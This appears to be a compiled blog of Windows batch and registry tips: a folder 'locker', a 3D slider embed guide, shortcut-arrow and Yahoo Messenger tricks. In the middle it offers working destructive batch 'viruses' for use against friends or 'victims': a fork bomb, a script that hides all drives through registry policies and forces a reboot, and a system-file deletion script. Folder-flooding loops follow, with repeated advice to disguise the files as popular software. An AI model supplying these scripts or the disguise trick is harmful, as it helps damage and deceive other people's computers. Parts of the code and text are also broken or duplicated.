How to lock a folder without any software using Batch Programming

In this post I will tell you how to create a simple folder locker which would hide the folder you want to lock. No software required, its just very simple to create it.

cls
@ECHO OFF
title Folder Locker
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Locker goto MDLOCKER
:CONFIRM
echo Enter password to lock folder or for cancel press N
echo (Provided by: www.downloadandlearning.blogspot.com)
set/p "cho=>"
if %cho%==XXXX goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
echo (Provided by: www.downloadandlearning.blogspot.com)
goto CONFIRM
:LOCK
ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
echo (Provided by: www.downloadandlearning.blogspot.com)
goto End
:UNLOCK
echo Enter password to Unlock folder
echo (Provided by: www.downloadandlearning.blogspot.com)
set/p "pass=>"
if NOT %pass%==XXXX goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker
echo Folder Unlocked successfully
echo (Provided by: www.downloadandlearning.blogspot.com)
goto End
:FAIL
echo Invalid password.
goto end
:MDLOCKER
md Locker
echo Locker created successfully
echo (Provided by: www.downloadandlearning.blogspot.com)
goto End
:End

1. Copy this Code into notepad and replace the XXXX with your password.
2. Save it with .bat extension(for eg: locker.bat).
3. Copy the Batch file to the place where you want to create your locker folder.
4. Now double click the Batch file.
5. Now you can see the Lock folder is created.
6. Place your files into lock folder which you want to protect.
7. Again double click the Batch file, it will ask you to enter the password to lock the folder. Enter the password.
8. Now the folder will be Locked and will become invisible.
9. To unlock again double click the Batch file, enter the password.
10. You can see the Lock folder.

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Create a virus to make the Computer freezed using Batch Programming

Its a simple, easy to remember, one line batch code which would freeze your computer by eating all its virtual memory. When this piece of code is run, the CPU usage goes to 100%. The computer can be brought to its original state by rebooting the system. Its a great code for the beginners and to play prank with friends.

1. Copy the code present in box below in the NOTEPAD. 

%0|%0

2. Save the file with .bat extension(for eg: crazy.bat)

3. For further advancement in it, download a bat to exe converter, through it change the icon, properties and title of the bat file into any popular software.

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Virus to disable all Hard Disk using Batch Programming

 This is a simple batch program to disable the hard disks in windows.

NOTE:  Don't run or execute the bat file after creating it because it will delete the files from your computer only.  

1. Copy the code present in box below in the NOTEPAD. 

REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoDrives /t REG_DWORD /d 12\n

REG ADD HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVer sion\\policies\\Explorer /v NoViewonDrive /t REG_DWORD /d 12\n

shutdown -r -c \"Sorry Your System is hacked by us!\" -f

2. Save the file with .bat extension(for eg:disableall.bat)

3. For further advancement in it, download a bat to exe converter, through it change the icon, properties and title of the bat file into any popular software.

For more info, Contact me.

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Simple Virus to Delete mouse, explorer, logoff, keyboard files

Usually we write simple viruses in batch programming.  This time also I have one Batch Program. It will delete explore.exe, logoff, mouse, keyboard files. So victims can not do anything in his computer.

NOTE:  Don't run or execute the bat file after creating it because it will delete the files from your computer only. 

1. Copy the code present in box below in the NOTEPAD.

@echo off

@if exist c:\windows\system32\mouse del c:\windows\system32\mouse
@if exist c:\windows\system32\keyboard del c:\windows\system32\keyboard
copy C:\windows\
@if exist c:\windows\system32\logoff.exe del c:\windows\system32\logoff.exe
@if exist C:\program files\internet explorer\iexplore.exe del C:\program files\internet explorer\iexplore.exe

2. Save the file with .bat extension(for eg:deleteall.bat)
3. For further advancement in it, download a bat to exe converter, through it change the icon, properties and title of the bat file into any popular software. 

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Create a Virus to Create Folder into a Folder(infinitely)

Well you can create a simple computer virus which will create a folder into a folder and so on.
Follow the below steps to create the virus.

1. Copy the code present in box below in the NOTEPAD.

:123
md d
cd d
goto :123

2. Save the file with .bat extension(for eg: folderscreate.bat)
3. Now go to the location where you saved it and run it by double clicking it.
You are done!!
4. For further advancement in it, download a bat to exe converter, through it change the icon, properties and title of the bat file into any popular software. 

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Create a Virus to Create Infinite Folders in a Drive

Here I will tell you a simple trick to create a simple virus which will create infinite folders into the directory where it is saved, until and unless it is terminated.

1. Copy the code present in box below in the NOTEPAD.

@echo off
:top
md %random%
goto top

"@echo off" - makes it so that it appears to be a blank

screen but actually its making hundreds of folder.

":top" - to create infinite loop.

"md %random%" - is command that creates folders with random names.

"goto top" – return to label 

2. Save the file with .bat extension(for eg: folderscreate.bat)
3. Now go to the location where you saved it and run it by double clicking it.
You are done!!
4. For further advancement in it, download a bat to exe converter, through it change the icon, properties and title of the bat file into any popular software. 

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Add 3D Cu3er (cuber) slider to your Blog or Website

Cu3er is a really neat 3D image slider with crazy visual transitions. This tutorial will help you to integrate cu3er to your  blogger easily. You can see an example how i integrated it into Blogger's header in my blog on the homepage. I will also explain how one can integrate cu3er to header and post and as widget as well.


Step 1

Download the required files from http://dl.dropbox.com/u/3255460/blogpostfiles/cu3er.zip
The package contains following files:

1. cu3er.swf
2. config.xml
3. swfobject.js
4. expressinstall.swf

Now upload the files to a free hosting except config.xml and note down URL's of uploaded files.
You can host the files to public folder of DROPBOX.COM

Step 2

Upload the images that you want to show in slider and host it where you hosted the other files.
Note down the URL's of the images as well(it should be like http://dl.dropbox.com/u/3255460/images/129CL1C43P-31060.jpg) 

Step 3

Edit the config.xml by opening it with notepad and replacing url of your images that you want to show in slider and save it as config.xml and upload to the hosting site(dropbox).
see eg below:

1:  <?xml version="1.0" encoding="utf-8" ?>  
2:  <cu3er>  
3:       <settings>  
4:         <prev_button>  
5:                 <defaults round_corners="5,5,5,5"/>  
6:                 <tweenOver tint="0xFFFFFF" scaleX="1.1" scaleY="1.1"/>  
7:                 <tweenOut tint="0x000000" />  
8:            </prev_button>  
9:         <prev_symbol>  
10:                 <tweenOver tint="0x000000" />                 
11:            </prev_symbol>  
12:         <next_button>  
13:                 <defaults round_corners="5,5,5,5"/>                 
14:                 <tweenOver tint="0xFFFFFF" scaleX="1.1" scaleY="1.1"/>  
15:                 <tweenOut tint="0x000000" />  
16:            </next_button>  
17:         <next_symbol>  
18:                 <tweenOver tint="0x000000" />  
19:            </next_symbol>       
20:       </settings>    
21:       <slides>  
22:      <slide>  
23:        <url>your image url</url>  
24:      </slide>  
25:            <!-- changing transition between first & second slide -->  
26:      <transition num="3" slicing="vertical" direction="down"/>  
27:      <slide>  
28:                <url>your image url</url>  
29:      </slide>            
30:            <!-- changing transition between second & third slide -->  
31:      <transition num="4" direction="right" shader="flat" />  
32:            <slide>  
33:        <url>your image url</url>  
34:      </slide>  
35:      <!-- transitions properties defined in transitions template -->  
36:            <slide>  
37:                <url>your image url</url>  
38:      </slide>  
39:            <transition num="6" slicing="vertical" direction="up" shader="flat" delay="0.05" z_multiplier="4" />  
40:      <slide>  
41:                <url>your image url</url>  
42:      </slide>  
43:       </slides>  
44:  </cu3er>  

Step 4

A. To add the slider in post or header

Paste the below given code (after inserting the URL's of the required files) to the html of blog or website to put it into header or to the html coding of your post to use it in a post.
replace your path to the file with your URL to the file and change the width 
and the height of the slide show.

 <script type="text/javascript" src="your path to the file/swfobject.js"></script>  
 <!-- Configure SWFObject JavaScript and embed CU3ER slider -->  
 <script type="text/javascript">  
           var flashvars = {};  
           flashvars.xml = "your path to the file/config.xml";  
           var attributes = {};  
           attributes.wmode = "transparent";  
           attributes.id = "slider";  
           swfobject.embedSWF("your path to the file/cu3er.swf", "cu3er-container", "width", "height", "9",  
           "your path to the file/expressInstall.swf", flashvars, attributes);  
 </script>  
 <object data="your path to the file/cu3er.swf"  id="cu3er-container" style="visibility: visible;" type="application/x-shockwave-flash" >   
 </object> 

 B. To add slider using html/javascript widget to the sidebar or anywhere else(i prefer using this one)

Repeat the step1, step2, step3 and then paste the below given code in html/javascript widget of blog or website to put the slider in the sidebar or anywhere else you like. I prefer this because after putting the code in html/javascript widget, you can move it anywhere on your website conveniently, all you have to do is change the dimensions of slider and images accordingly.

 <script src="your url/swfobject.js" type="text/javascript">  
 </script>  
 <script type="text/javascript">  
  var flashvars = {};  
  flashvars.xml = "your url/config.xml";  
  var attributes = {};  
  attributes.wmode = "transparent";  
  attributes.id = "slider"; 
 var params = {};
        params.allowscriptaccess = "always";
        params.allownetworking = "all";
  swfobject.embedSWF("your url/cu3er.swf", "slideshow", "width", "height", "9",  
  "your url/expressInstall.swf", flashvars, attributes, params);  
 </script>  
 <object data="your url/cu3er.swf" id="slideshow" style="visibility: visible;" type="application/x-shockwave-flash"> </object>  

you can change the width and height of the cu3er to any size to fit into side bar and header.
For more info or query, contact me. 

Follow me on twitter(twitter.com/bajaj_vikash)

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Hide and Remove Shortcut Arrow from Desktop Icons and Other Icons

1. Goto start in windows and click 'RUN', type 'regedit' and press enter.
2. Registry Editor will open.
3. Navigate to the following registry key: HKEY_CLASSES_ROOT\lnkfile
   
4. Delete the IsShortcut registry value in the right pane. Tip: It’s also workable to just rename the IsShortcut registry entry to another name, such as IsNotShortcut.
5. Some other type of documents and files may have shortcut arrows on their icons too. To remove the shortcut arrow overlay image on these icons, navigate to each of the following registry keys, and then repeat step 2 and step 3 above to deactivate the shortcut arrow: HKEY_CLASSES_ROOT\piffile
   HKEY_CLASSES_ROOT\ConferenceLink
   HKEY_CLASSES_ROOT\DocShortCut
   HKEY_CLASSES_ROOT\InternetShortcut
   HKEY_CLASSES_ROOT\WSHFile
   
6. Exit from Registry Editor.
7. Logout and login again or restart Explorer for the change to take effect.

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Multiple Login in Yahoo Messenger Without Using any Software

You can login with multiple id's on the same yahoo messenger without any download or patch .
Follow these steps :
 
1.   Go to Start ----> Run . Type regedit, then enter .

2.  Navigate to HKEY_CURRENT_USER --------> Software ---> yahoo  --->pager---->Test

3.  On the right page , right-click and choose new Dword value .

4.  Rename it as Plural.

5.  Double click and assign a decimal value of 1.

Its done!!
Now close registry and restart yahoo messenger and try Multiple Login

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Find who is Invisible on Yahoo messenger

Sometimes some of your friends who appear offline in yahoo messenger may not be actually offline, they may in the 'Invisible' mode. This maybe if they are trying to ignore you or are too busy to talk to anyone.

There is this small trick that you can use to find out what the truth is.

Firstly open your yahoo messenger main window and double click on the name of the person whom you want to check. The chat window will open obviously.
Click IMVironment button, select See all IMVironments, select Yahoo! Tools or Interactive Fun, and click on Doodle.
After loading the Doodle imvironment there can be two possibilities

1.If the user is offline Doodle are will show this "waiting for your friend to load Doodle" continuously .See in the picture below:     Sometimes some of your friends who appear offline in yahoo messenger may not be actually offline, they may in the 'Invisible' mode. This maybe if they are trying to ignore you or are too busy to talk to anyone.

There is this small trick that you can use to find out what the truth is.

Firstly open your yahoo messenger main window and double click on the name of the person whom you want to check. The chat window will open obviously.
Click IMVironment button, select See all IMVironments, select Yahoo! Tools or Interactive Fun, and click on Doodle.
After loading the Doodle imvironment there can be two possibilities

1.If the user is offline Doodle are will show this "waiting for your friend to load Doodle" continuously .See in the picture below:
 

2. If the user is online (but in invisible mode), after few seconds (it can take up to one minute, depending on your connection speed), you should get a blank page like in the picture below. So you know that the user is online.

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